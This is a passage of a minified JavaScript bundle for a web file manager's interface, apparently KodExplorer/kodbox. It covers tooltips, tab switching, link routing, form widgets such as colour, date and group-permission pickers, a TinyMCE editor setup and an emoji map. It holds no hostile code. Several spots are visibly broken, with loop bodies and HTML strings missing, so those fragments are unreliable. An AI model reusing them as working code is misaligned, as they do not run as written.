strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){n(),a(),s(),l(),r(),Events.trigger("windowReady");var e=document.createEvent("CustomEvent");e.initCustomEvent("kodReadyView",!0,!0,{"source":window}),document.dispatchEvent(e)};var n=function n(){if($.fn.perfectScroll){var e=function e(){$(".perfectScroll").perfectScroll()};$(window).bind("resize",e),$(window).bind("scoller",e)}},a=function a(){if(!$.isWindowTouch()&&$.fn.poshytip){var e=$("[title]");e.poshytip({"className":"ptips-skin","liveEvents":!0,"slide":!1,"alignTo":"cursor","alignX":"right","alignY":"bottom","showAniDuration":150,"hideAniDuration":200,"offsetY":10,"offsetX":20,"showTimeout":function(){$(".ptips-skin").length;var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},"content":function(e){if(!($(this).hasClass("context-menu-active")||$(this).is(":focus")||e.hasClass("disable")||e.hasClass("disable-title"))){e.addClass("yellow");var t=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));t=i.is("input")||i.is("textarea")?i.val():i.html()}return-1==(t=t||"").indexOf("<")&&-1==t.indexOf(">")&&(t=t.replace(/\n/g,"
    ")),t}}}),$(document).bind("keydown keyup mousedown mouseup click",function(){$.fn.poshytip&&($(e).poshytip("clearTimeouts").poshytip("hide"),$(".ptips-skin").remove())}),$("input,textarea").live("focus",function(){$.fn.poshytip&&($(e).poshytip("hide"),$(".ptips-skin").remove())})}},s=function s(){window.API_HOST&&(template.defaults.cache=!0,template.defaults.minimize=!1,template.defaults.compileDebug=!1)},o=function o(){if(!$.isWindowTouch()){var e=[".menuBar .menu-dropdown-user > .ripple-item",".setting-menu-left .menu-item-content",".admin-menu-left .menu-item-content"].join(",");$.hoverAnimate({"el":e,"delegate":"body"})}},l=function l(){var e="a,button,.ripple-item,.context-menu-item,.kui-btn,.btn,.button";if($.isWindowTouch()&&(e="a,button,.ripple-item,.kui-btn,.btn,.button"),loadRipple(e,".disable-ripple,.disabled,.disable,.ztree"),o(),$(window).bind("resize",function(){Events.trigger("window.resize")}),$("body").delegate("img,a","dragstart",function(e){return stopPP(e)}),window.API_HOST){$("body").delegate("[link-href]","click",function(e){return r(e,"")}),$("body").delegate("a","click",function(e){"#"==$(this).attr("href")&&e.preventDefault()}),$("body").delegate("[link-href]","mouseup",function(e){if(2==e.which)return r(e,"_blank")});var r=function r(e,t){var i=$(e.currentTarget),n=i.attr("link-href")||"#",a=(t=t||i.attr("target"),_.startsWith(n,"http://")||_.startsWith(n,"https://")),s=n;if(!a){if(n.startsWith("/")||n.startsWith("./"))return 2==e.which||"_blank"==t?window.open(s):void(window.location.href=n);s=$.parseUrl().urlPath+("#"==n?"":"#"+n)}return i.attr("dialog-open")||"dialog"==t?core.openDialog(s,"",htmlEncode(i.text())):a?void("_blank"==t?window.open(s):window.location.href=s):2==e.which||"_blank"==t?window.open(s):void Router.go(n)}}},r=function r(){$.fn.tabCurrent=function(){var e=$(this);if(!e||0==e.length)return this;var t=e.parent(),i=e.outerWidth(),n=e.offset().left-t.offset().left,a=t.children(".tab-item-bar");if(0==a.length)return this;a.data("initTab")||(a.data("initTab",1),a.addClass("no-animate opacity-hidden"),setTimeout(function(){a.removeClass("opacity-hidden"),t.children(".tab-item").filter(".active").tabCurrent()},10),setTimeout(function(){t.children(".tab-item").filter(".active").tabCurrent(),a.removeClass("no-animate")},300)),i=1*e.width(),n+=(e.outerWidth()-i)/2;var s=t.offset().top+t.outerHeight(),r=e.offset().top+e.outerHeight(),o={"width":i+"px","left":n+"px","transform":"translate3d(0px,-"+Math.abs(s-r+1)+"px, 0px)"};a.css(o),t.children(".tab-item").removeClass("active"),e.addClass("active");var l=t.parent().children(".tab-group-pan").children(".tab-content");if(0!=l.length){var c=l.filter(":visible"),d=l.filter("."+e.attr("tab-name"));c.switchTo(d)}return this},$(document).delegate(".tab-group-line .tab-item","click",function(){$(this).tabCurrent()});var e=_.debounce(function(){$(".tab-group-line .tab-item.active").each(function(){$(this).tabCurrent()})},50);$(window).bind("resize",e),$.isWindowTouch()&&c()},c=function c(){}},function(t,i){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}t.exports=n},function(e,t,i){var n=i(9);e.exports=function(e,t){if(!n(e)||e._t!==t)throw TypeError("Incompatible receiver, "+t+" required!");return e}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){return{"name":{"type":"input","display":LNG["explorer.app.name"],"require":1,"attr":{"placeholder":LNG["explorer.app.nameDesc"]}},"desc":{"type":"input","display":LNG["explorer.app.desc"],"attr":{"placeholder":LNG["explorer.app.descDesc"]}},"group":{"type":"select","display":LNG["explorer.app.group"],"attr":{"placeholder":LNG["common.select"]},"info":{},"require":1},"type":{"type":"segment","value":"url","className":"hide","display":LNG["explorer.app.appType"],"info":{"url":""+LNG["explorer.app.website"],"js":""+LNG["explorer.app.code"]},"switchItem":{"path":"value-path,pathType","url":"value-url,openType","js":"value-js"}},"icon":{"type":"fileSelect","display":LNG["explorer.app.imgIcon"],"value":"oexe.png","info":{"single":"1","type":"file","makeUrl":"1","valueKey":"downloadPath","allowExt":"png|jpg|gif|jpeg|ico|svg"},"attr":{"placeholder":LNG["explorer.app.imgIconUrl"]}},"sep003":"
    ","value-path":{"type":"input","display":LNG["explorer.app.path"],"desc":"
    "+LNG["explorer.app.pathDesc"]+"
    "},"pathType":{"type":"hide","value":"folder","className":"hide"},"ext":{"type":"hide","className":"hide"},"value-url":{"type":"input","display":LNG["explorer.app.link"],"require":1,"attr":{"placeholder":LNG["explorer.app.linkDesc"]}},"openType":{"type":"segment","value":"window","display":LNG["explorer.app.openType"],"info":{"window":""+LNG["explorer.app.openWindow"],"dialog":""+LNG["explorer.app.openDialog"]},"switchItem":{"window":"","dialog":"width,height,resize,simple"}},"width":{"type":"input","display":LNG["explorer.app.dialogSize"],"value":"80%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.with"]},"height":{"type":"input","value":"70%","attr":{"style":"width:75px;"},"className":"inline","titleLeft":LNG["explorer.app.height"]},"sep002":"
    ","resize":{"type":"checkbox","display":LNG["explorer.app.moreSet"],"value":"1","className":"inline","info":{"1":LNG["explorer.app.canDiyWith"]}},"simple":{"type":"checkbox","value":"0","className":"inline","info":{"1":LNG["explorer.app.miniBlock"]}},"value-js":{"type":"codeEditor","display":LNG["explorer.app.runCode"],"className":"clear","require":1,"attr":{"data-ext":"js","data-theme":"tomorrow","style":"height:180px;","data-fontSize":"13"}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"setValue":function(e,t){e.parent().find('button[data-value="'+t+'"]').click()},"bindForm":function(e){var t=this.$(".form-button button"),a="active";t.bind("click",function(e){var t=$(this).parents(".setting-content").first().find("input"),i=$(this).attr("data-value"),n=_.filter(t.val().split(","));$(this).hasClass(a)?(n=_.pull(n,i),$(this).removeClass(a)):(n.push(i),$(this).addClass(a)),t.val(n.join(",")).trigger("change")}),e&&e()}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(5)),s=r(i(6));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return e.next=2,requirePromise([VENDER_PATH+"city-picker/city-picker.data"]);case 2:return e.next=4,requirePromise([VENDER_PATH+"city-picker/css/city-picker.css",VENDER_PATH+"city-picker/city-picker"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return","");case 6:this.$(".form-cityPicker input").each(function(){var e=$(this);e.css("width",e.width()),e.citypicker()}),this.bind("onRemove",function(){this.$(".form-cityPicker input").citypicker("destroy")}),t&&t();case 9:case"end":return e.stop()}},o,this)})),function l(e){return n.apply(this,arguments)}),"setValue":function(e,t){e.val(t).trigger("change")}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){},"loadFile":function(e){requireAsync([VENDER_PATH+"colorpicker/pickr.min.js",VENDER_PATH+"colorpicker/nano.min.css"],e)},"bindForm":function(t){var i=this;this.loadFile(function(){var e=this.$(".form-color");e.find("input + .btn").bind("click",function(){$(this).prev().click()}),e.each(function(){i.bindColorItem($(this))}),t&&t()})},"bindColorItem":function(e){var n=e.find("input"),a=e.find(".color-picker-view .font-icon"),t=Pickr&&Pickr.create({"el":e.find(".color-picker-view").get(0),"theme":"nano","position":"top-start","useAsButton":!0,"default":n.val()||"#000000","swatches":["#FFFFFF","#cfd8dc","#ffccbc","#ffecb3","#fff9c4","#dcedc8","#b2ebf2","#e6f7ff","#d1c4e9","#D9D9D9","#90a4ae","#ff8a65","#ffd54f","#fff176","#aed581","#4dd0e1","#91d5ff","#9575cd","#969696","#607d8b","#ff5722","#ffc107","#ffeb3b","#8bc34a","#00bcd4","#40a9ff","#673ab7","#525252","#455a64","#e64a19","#ffa000","#fbc02d","#689f38","#0097a7","#1890ff","#512da8","#000000","#263238","#bf360c","#ff6f00","#f57f17","#33691e","#006064","#006dd2","#311b92"],"components":{"preview":!0,"opacity":!0,"hue":!0,"interaction":{"hex":1,"rgba":1,"hsla":0,"hsva":0,"cmyk":0,"input":1,"clear":0,"save":0}}});t=t||{"on":$.noop,"show":$.noop,"setColor":$.noop};var s=timeFloat();t.on("change",function(e,t){if(!(timeFloat()-s<.015)){var i=e.toHEXA().toString();n.val(i).trigger("change"),a.css("color",i)}}),n.data("picker",t),n.bind("focus mousedown mouseup",function(){t.show()}).bind("paste keyup",function(){s=timeFloat();var e=$(this).val();t.setColor(e),a.css("color",e)}),this.bind("onRemove",function(){t.destroyAndRemove()})},"setValue":function(e,t){var i=e.parent().find(".color-picker-view .font-icon");e.val(t).trigger("change"),i.css("color",t)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(23));t["default"]=n["default"].extend({"selector":".form-colorLabel select","init":function(){},"selectDataMake":function(e,t,i){this.loadData(e),i()},"loadData":function(t){for(var n=[],e="grey,red,orange,yellow,green,cyan,blue,purple,pink".split(","),i="light,normal,deep".split(","),a=0;a';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(5)),s=r(i(6));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":(n=(0,s["default"])(a["default"].mark(function o(t){var i,c,d;return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return this.$(".form-dateTime input + .btn").bind("click",function(){$(this).parents(".form-dateTime").find("input").focus()}),e.next=3,requirePromise([VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.css",VENDER_PATH+"jquery.datetimepicker/jquery.datetimepicker.js"]);case 3:if(i=G.lang,d="zh-CN"==i||"zh-TW"==i?"ch":"en",(c=this).$el){e.next=8;break}return e.abrupt("return","");case 8:this.$(".form-dateTime input").each(function(){for(var e=$(this).attr("data-format")||dateFormatGet("timeDay"),t=$(this).attr("data-fromTime"),i=["Y","y","L","F","M","t","n","m","d","D","j","l","N","S","W","z","w"],n=["H","h","i","s","A","a","b","g","G","O","P","c","U"],a=!1,s=!1,r=0;r';return $(''+i+""+t+"")}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,a=r(i(5)),s=r(i(6));function r(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var n=this;this.hightCodeCheck(),this.$("[data-link-type]").each(function(){var t=$(this),i=t.attr("data-link-type"),e=t.attr("data-link-url");switch(i){case"html":case"code":$.get(e,function(e){"code"==i?t.html("
    "+htmlEncode(e)+"
    "):t.html(e),n.hightCodeCheck()});break;case"javascript":case"style":requireAsync(e)}}),e&&e()},"hightCodeCheck":(n=(0,s["default"])(a["default"].mark(function o(){return a["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:if(this.$("pre,code").exists()){e.next=2;break}return e.abrupt("return");case 2:return e.next=4,requirePromise([VENDER_PATH+"markdown/highlight.min"]);case 4:if(this.$el){e.next=6;break}return e.abrupt("return");case 6:this.$("pre,code").each(function(e,t){$(this).hasClass("ace_editor")||$(this).hasClass("hljs")||hljs.highlightBlock(t)});case 7:case"end":return e.stop()}},o,this)})),function l(){return n.apply(this,arguments)})})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=a(i(142)),r=a(i(53));function a(e){return e&&e.__esModule?e:{"default":e}}var s=new n["default"];t["default"]=ClassBase.extend({"init":function(){},"getValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor"),n="";return n=i?i.getContent():t.find("textarea").val(),s.toTextStore(n)},"setValue":function(e,t){var i=e.parent().find(".tox-tinymce").data("editor");return i&&i.setContent(t)},"loadFile":function(e){requireAsync([VENDER_PATH+"tinymce/tinymce.min.js",VENDER_PATH+"tinymce/jquery.tinymce.min.js",VENDER_PATH+"tinymce/kod/style.css"],function(){requireAsync([VENDER_PATH+"tinymce/kod/media.js"],e)})},"bindForm":function(e){var t=this;this.$(".form-htmlEditor textarea").each(function(){var e=Tips.loadingMask($(this).parent(),LNG["explorer.wordLoading"],.99,252);$(this).data("loadingTips",e)}),this.loadFile(function(){t.$(".form-htmlEditor textarea").each(function(){t.initEditor($(this),e)})}),this.bind("onRemove",function(){t.$(".form-htmlEditor .tox-tinymce").each(function(){var e=$(this).data("editor");e&&e.destroy()})})},"initEditor":function(i,n){var e=UUID(),a=this;i.addClass(e);var t=jsonDecode(htmlDecode(i.attr("data-options")||""))||{},s=this.options(t);s=_.extend({"selector":"."+e,"theme":"silver","content_css":[VENDER_PATH+"tinymce/kod/content.css",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css"],"file_browser_callback":function(e,t,i,n){return!1},"setup":function(e){e.on("preinit",function(){a.editorInitBefore(e)})},"init_instance_callback":function(e){a.editorInitAfter(e);var t=i.data("loadingTips");t&&t.close(),a.isInitFinished||(a.isInitFinished=!0,n&&n())},"image_advtab":!0,"image_title":!1,"paste_data_images":!0,"automatic_uploads":!0,"images_upload_handler":function(e,t,i){(new r["default"]).upload(e.blob(),e.filename(),function(e){t(e.downloadPath)})}},s),tinymce.init(s)},"editorInitBefore":function(t){tinymce.pluginResetAdd&&_.each(tinymce.pluginResetAdd,function(e){e&&e(t)}),this.editorAddIcon(t),this.editorResetMenus(t)},"editorResetMenus":function(e){var t=e.ui.registry.getAll();if(!_.isEmpty(t.menuItems)){var i="tableprops,align,fontformats,fontsizes,blockformats".split(",");_.each(i,function(e){t.menuItems[e]&&(t.menuItems[e].icon=e)})}},"editorAddIcon":function(n){var e=n.ui.registry.getAll();this.resetSvgIcon(e.icons);_.each({"math":"mce-i-icon mce-i-mathjax","bdmap":"ri-map-pin-fill-5","code":"ri-code-s-slash-line","fontformats":"ri-font-size","fontsizes":"ri-font-size","lineheight":"ri-line-height","blockformats":"ri-heading","new-tab":"ri-external-link-line","align":"mce-i-icon mce-i-align-center","tableprops":"ri-information-line","table-delete-table":"ri-indeterminate-circle-line","checklist":"ri-checkbox-fill","sourcecode":"ri-code-s-slash-line","code-sample":"ri-code-s-slash-line","insert-time":"ri-calendar-check-fill","embed":"ri-play-circle-fill","chevron-down":"ri-arrow-down-s-line","chevron-right":"ri-arrow-right-s-line","chevron-left":"ri-arrow-left-s-line","chevron-up":"ri-arrow-drop-up-line"},function(e,t){var i='';n.ui.registry.addIcon(t,i)})},"resetSvgIcon":function(e){var t=["help","bookmark","autocorrect","bidiltr","bidirtl","quote","bold","unordered-list","button","checkbox","copy","cut","docprops","find","form","visualchars","horizontal-rule","iframe","image","imagebutton","indent","italic","align-justify","align-center","align-left","align-right","language","link","mathjax","fullscreen","newpage","ordered-list","outdent","page-break","paste","pastefromword","preview","print","radio","redo","remove-formatting","search","save","scayt","select","select-all","showblocks","emoji","sourcecode","sourcedialog","insert-character","spellchecker","strike-through","subscript","superscript","table","templates","textarea","textfield","uicolor","underline","undo","undo","unlink"];for(var i in e)if(!e[i]||"')}},"editorInitAfter":function(t){var i=this,e=$(t.editorContainer),n=e.find(".tox-toolbar").first();this.editorResetDialog(t),e.data("editor",t),e.find("iframe").attr("title","").addClass("disable-title");var a=t.settings.toolbar.join(" ").replace(/\|/g," ").replace(/ +/g," ").split(" ");if(e.find(".tox-toolbar__group").children().each(function(e){$(this).addClass("toolbar-"+a[e])}),t.settings.menubar){var s=e.find(".tox-menubar");(s=s.appendTo(n)).prev().addClass("menubar-prev");var r=t.settings.menubar.split(" ");s.find(".tox-mbtn").each(function(e){$(this).addClass("mce-i-"+r[e])})}t.on("DblClick",function(e){i.editorObjectClick(t,$(e.target))})},"editorObjectClick":function(e,t){if(t[0].tagName)switch(t[0].tagName.toLowerCase()){case"img":t.hasClass("mce-object-video")?e.execCommand("mceMedia"):t.hasClass("mce-object")||e.execCommand("mceImage");break;case"a":e.execCommand("mceLink");break;case"span":t.hasClass("mce-preview-object")&&t.hasClass("mce-object-iframe")&&e.execCommand("mceMedia")}},"editorResetDialog":function(e){var r=function r(e){var t=artDialog.defaults.zIndex++;e.css({"z-index":t})},t=function t(s){return function(){var e=s.apply(this,arguments),t=$(window),i=$('.tox-dialog[aria-modal="true"]');if(1!=i.length)return e;var n=i.parents(".tox-dialog-wrap"),a=n.find(".tox-dialog-wrap__backdrop");return r(n),n.bind("mousedown",function(e){r(n)}),i.css({"position":"fixed","left":(t.width()-i.width())/2,"top":(t.height()-i.height())/2}),a.hide().fadeIn(200),i.addClass("dialogShow animated"),i.find(".tox-dialog__body-nav-item").addClass("ripple-item"),i.find(".tox-textarea").length&&i.addClass("tox-dialog-add-source"),i.find(".tox-image-tools-edit-panel").length&&i.addClass("tox-image-edit"),e}};e.windowManager.open=t(e.windowManager.open),e.windowManager.openUrl=t(e.windowManager.openUrl)},"options":function o(e){var t="12px,13px,14px,15px,16px,18px,20px,24px,32px,36px,48px".split(","),i={"full":["formatselect fontsizeselect fontselect | alignleft aligncenter alignright lineheight | removeformat formatpainter preview codeView fullscreen","bold italic underline strikethrough forecolor backcolor | indent outdent numlist bullist |blockquote hr emoticons link image table"],"normal":["bold italic underline forecolor | alignleft aligncenter alignright | bullist indent outdent |hr blockquote link image"],"simple":["bold italic underline | alignleft aligncenter alignright |hr blockquote link image"]};e.toolbar=i[e.toolbar]||e.toolbar||i.full;var n=_.includes(G.lang,"zh")?"zh_CN":"en",o={"theme_advanced_font_sizes":t.join(","),"fontsize_formats":t.join(" "),"font_formats":["微软雅黑=Microsoft Yahei","宋体=STsong,SimSun,NSimSun,STFangsong,FangSong,FangSong_GB2312,STZhongsong","细黑=STXihei,STHeiti,SimHei","楷体=STKaiti,KaiTi,KaiTi_GB2312,Kai","华文行楷=STXingkai","隶书=隶书,SimLi,STLiti","Arial=Arial,helvetica,sans-serif","Comic Sans MS=Comic Sans MS,cursive","Courier New=Courier New,Courier,monospace","Impact=Impact,chicago","Lucida Sans Unicode=Lucida Sans Unicode,Lucida Grande,sans-serif","Tahoma=Tahoma,Geneva,sans-serif","Times New Roman=Times New Roman,Times,serif","Trebuchet MS=Trebuchet MS","Verdana=Verdana,Geneva,sans-serif"].join(";"),"menu":{"menuFormate":{"title":"Format","items":"bold italic underline strikethrough superscript subscript blockquote checklist codeformat | blockformats fontformats fontsizes align | forecolor backcolor | removeformat"},"menuInsert":{"title":"Insert","items":"image link media template codesample inserttable | pageembed kitymath bdmap | charmap emoticons hr | pagebreak nonbreaking anchor toc | insertdatetime"},"menuMore":{"title":"更多","items":"undo redo | cut copy selectall searchreplace | visualchars visualblocks | codeView wordcount formatpainter | fullscreen preview print "}},"menubar":"menuFormate menuInsert menuMore","language":n,"plugins":["print preview searchreplace autolink directionality visualblocks visualchars fullscreen image","link media codesample table charmap hr pagebreak nonbreaking anchor toc insertdatetime advlist","lists textcolor wordcount imagetools contextmenu paste colorpicker textpattern help lineheight quickbars","bdmap emoticons checklist pageembed formatpainter kitymath codeView"],"toolbar":[],"toolbar_groups":{"formateKod":{"icon":"bold","tooltip":"Formatting","items":"bold italic underline | superscript subscript"},"alighKod":{"icon":"aligncenter","tooltip":"Align","items":"alignleft aligncenter alignright"}},"browser_spellcheck":!0,"color_cols":9,"color_map":["#FFFFFF","c-white","#cfd8dc","","#ffccbc","","#ffecb3","","#fff9c4","","#dcedc8","","#b2ebf2","","#e6f7ff","","#d1c4e9","","#D9D9D9","","#90a4ae","","#ff8a65","","#ffd54f","","#fff176","","#aed581","","#4dd0e1","","#91d5ff","","#9575cd","","#969696","","#607d8b","","#ff5722","","#ffc107","","#ffeb3b","","#8bc34a","","#00bcd4","","#40a9ff","","#673ab7","","#525252","","#455a64","","#e64a19","","#ffa000","","#fbc02d","","#689f38","","#0097a7","","#1890ff","","#512da8","","#000000","","#263238","","#bf360c","","#ff6f00","","#f57f17","","#33691e","","#006064","","#006dd2","","#311b92",""],"resize":"both","toolbar_mode":"sliding","draggable_modal":!0,"branding":!1,"elementpath":!1,"statusbar":!1,"contextmenu":"bold copy cut | align | link format | insert | table","quickbars_insert_toolbar":!1,"quickbars_selection_toolbar":"bold italic underline | h2 h3 blockquote link","cache_suffix":"?v="+G.kod.version,"allow_conditional_comments":!0,"verify_html":!0,"extended_valid_elements":"i[*],span[*],div[*]","remove_trailing_brs":!1,"protect":[/\<\/?(if|endif)\>/g,/\]+\>/g,/<\?php.*?\?>/g],"paste_webkit_styles":"color,background,width,height,vertical-align,text-align,padding,margin,padding-top,padding-bottom,line-height","file_browser_callback_types":"image"};return _.extend(o,e||{}),o}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.type="emoji",this.name="emoji"},"emojMap":{"def":["😄","😷","😂","😅","😝","😳","😱","😔","🙄","🙃","😩","🤔","🌚","😉","😊","😋","😎","😍","😘","😙","😚","🙂","🤗","😐","😑","😬","😵","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😡","😰","😓","😕","🤑","😲","🙁","😖","😞","😟","😤","😢","😭","😦","😧","😨","😠","🤒","🤕","😇","🤓","😈","👿","🙏","💪","🎉","🎁","🙈","👊","🙌","💯","💃","🍻","👹","👺","💀","👻","👽","🤖","💩","😺","😸","😹","😻","😼","😽","🙀","😿","😾","🗣","👤"],"hot":["👥","👫","👬","👭","👂","👃","👣","👀","👁","👅","👄","💋","👓","🕶","👔","👕","👖","👗","👘","👙","👚","👛","👜","👝","🎒","👞","👟","👠","👡","👢","👑","👒","🎩","🎓","⛑","💄","💍","🌂","💼"],"food":["🍇","🍈","🍉","🍊","🍋","🍌","🍍","🍎","🍏","🍐","🍑","🍒","🍓","🍅","🍆","🌽","🌶","🍄","🌰","🍞","🧀","🍖","🍗","🍔","🍟","🍕","🌭","🍳","🍲","🍿","🍱","🍘","🍙","🍚","🍛","🍜","🍝","🍠","🍢","🍣","🍤","🍥","🍡","🍦","🍧","🍨","🍩","🍪","🎂","🍰","🍫","🍬","🍭","🍮","🍯","🍼","☕","🍵","🍶","🍾","🍷","🍸","🍹","🍺","🍻","🍽","🍴","🥄"]},"htmlPanel":function(){var i="";return _.each(this.emojMap,function(e,t){i+=''+t+"",_.each(e,function(e){i+=''+e+""})}),i},"toText":function(e){return this.encodeTo(e,"code")},"toTextStore":function(e){return this.encodeTo(e,"html")},"encodeTo":function(e,i){var t=/[\ud800-\udbff][\udc00-\udfff]/g;return e&&-1!=e.search(t)?e=e.replace(t,function(e){var t;return 2===e.length?(t=1024*(e.charCodeAt(0)-55296)+65536+e.charCodeAt(1)-56320,"html"==i?"&#"+t+";":"[:"+t+":]"):e}):e},"toHtml":function(e){e=this.toText(e);var a=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){var i=a.numberToChar(t),n=' class="emoji-text emoji-text-'+t+'"';return''}):e},"numberToChar":function(e){var t=parseInt(e)-65536,i=55296+(t>>10),n=56320+(1023&t);return String.fromCharCode.apply(null,[i,n])},"charToNumber":function(e){return e.codePointAt()+""},"charToHex":function(e){},"toTextShow":function(e){e=this.toText(e);var i=this,t=/\[:(\d+):\]/g;return e&&-1!=e.search(t)?e.replace(t,function(e,t){return i.numberToChar(t)}):e}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(22);t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e){var t=this;this.$(".form-group select").each(function(){var e="groupSelect_"+roundString(5);t[e]=new n.BaseUserGroup({"parent":t,"selectType":"group","parentGroup":$(this).attr("data-parentGroup"),"$afterDom":$(this)})}),e&&e()},"getValue":function(e,t){return e.attr("data-value")},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=a(22),n=function o(e){return e&&e.__esModule?e:{"default":e}}(a(88));var s={"user":!1,"group":!1,"all":!1};t["default"]=ClassBase.extend({"init":function(){},"bindForm":function(e,t){var i=this;this.$(".form-groupAuth input[name]").each(function(){var e="groupAuth_"+roundString(5);i[e]=new r({"parent":t,"$afterDom":$(this),"parentGroup":$(this).attr("data-parentGroup"),"rootParam":$(this).attr("data-rootParam"),"selectType":$(this).attr("data-type")})}),e&&e()},"setValue":function(e,t){var i=e.data("kodView");i&&i.setValue(t)}});var r=i.BaseUserGroup.extend({"renderView":function(){var e=this.$afterDom.val()||"",t=a(94),i={"isSingle":this.isSingle,"selectType":this.selectType},n=this.renderHtml(t,i,!1);this.$afterDom.after(n),this.$el=this.$afterDom.next(),this.$selectBox=this.$afterDom.parent().find(".add-user-group"),this.$resultBox=this.$(".auth-select-box"),this.parseDefaultData(e),this.initDefaultValue(),this.bindNotifyMenu(),this.changeForValue(),this.renderViewDropdown(),this.bindToolbar(),this.$dropdown.css("width",this.$afterDom.width()),this.$afterDom.hide(),this.saveDataResult=_.debounce(_.bind(this.saveDataResult,this),200)},"changeForValue":function(){var e="";switch(this.selectType){case"user":e=this.resultData.user;break;case"group":e=this.resultData.group;break;case"all":e=this.resultData,_.isEmpty(e.user)&&_.isEmpty(e.group)&&(e="")}e=_.isEmpty(e)?"":jsonEncode(e),this.$afterDom.val(e).trigger("change")},"parseDefaultData":function(e){switch(this.keyID=[],this.isSingle=!1,this.loadValue={"group":"","user":""},this.resultData={"group":{},"user":{}},this.authSelectChild=[],e=(e=_.isString(e)?jsonDecode(e):e)||{},this.selectType){case"user":this.keyID=["userID"],this.loadValue.user=_.keys(e).join(","),this.resultData.user=e||{};break;case"group":this.keyID=["groupID"],this.loadValue.group=_.keys(e).join(","),this.resultData.group=e||{};break;case"all":this.keyID=["groupID","userID"],this.loadValue.user=_.keys(e.user).join(","),this.loadValue.group=_.keys(e.group).join(","),this.resultData=_.extend(this.resultData,e)}},"bindNotifyMenu":function(){this.bind("menuOpen",function(){this.$selectBox.addClass("active")}),this.bind("menuClose",function(){this.$selectBox.removeClass("active")})},"bindToolbar":function(){var i=this,e=this.$(".auth-toolbar .auth-toolbar-item"),t="hidden",n=function n(){i.$afterDom.val()?(e.filter('[data-action="clear"]').removeClass("disable-event"),e.filter('[data-action="copy"]').removeClass(t)):(e.filter('[data-action="clear"]').addClass("disable-event"),e.filter('[data-action="copy"]').addClass(t)),s[i.selectType]?e.filter('[data-action="paste"]').removeClass(t):e.filter('[data-action="paste"]').addClass(t)};this.$el.bind("mouseenter",n),this.$afterDom.bind("change",n),e.bind("click",function(e){if(!$(this).hasClass("disable"))switch($(this).attr("data-action")){case"clear":i.setValue({});break;case"copy":var t=i.$afterDom.val();t&&(s[i.selectType]=t,Tips.tips(LNG["explorer.copyOK"]),n());break;case"paste":s[i.selectType]&&i.setValue(s[i.selectType])}})},"changeForResult":function(){this.initDataAfter=!0;var e=this,t=a(95),i={"list":this.listData,"authList":this.resultData,"itemIcon":_.bind(this.itemIcon,this)},n=this.renderHtml(t,i,!1);this.removeAuthSelectBefore(),this.$resultBox.html(n),this.$resultBox.find(".item-choice").each(function(){e.bindAuthSelect($(this))}),this.saveDataResult()},"bindAuthSelect":function(e){var t=this,i=new n["default"]({"parent":this});i.$el=e.find(".select-role"),i._objectName="groupAuthSelect_"+roundString(5),i.loadSource(function(){i.$el&&(i.$el.attr("data-type","group-auth"),i.$el.attr("data-key","group-auth-"+t.$afterDom.attr("name")),i.selectInit(i.$("select"),i.$el),t.parent&&t.parent.trigger("groupAuth.initAuth",i))}),i.selectChange=_.bind(this.saveDataResult,this),this[i._objectName]=i,this._authSelectChild.push(i)},"removeAuthSelectBefore":function(){this._each(this._authSelectChild,function(e){delete this[e._objectName],e.objectRemove(e)}),this._authSelectChild=[]},"onRemove":function(){this.removeAuthSelectBefore(),$(window).unbind("mousedown",this.bindDropdownWindow),this.zTree&&this.zTree.destroy()},"saveDataResult":function(){if((this.initDataAfter||!_.isEmpty(this.listData))&&this.$resultBox&&this.$resultBox.exists()){this.resultData={"user":{},"group":{}};var a=this.resultData;this.$resultBox.find(".item-choice").each(function(){var e=$(this).find("select"),t=$(this).attr("data-type"),i=$(this).attr("data-id"),n=e.val()||e.attr("data-value");"userID"==t?a.user[i]=n:a.group[i]=n}),this.changeForValue()}}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return 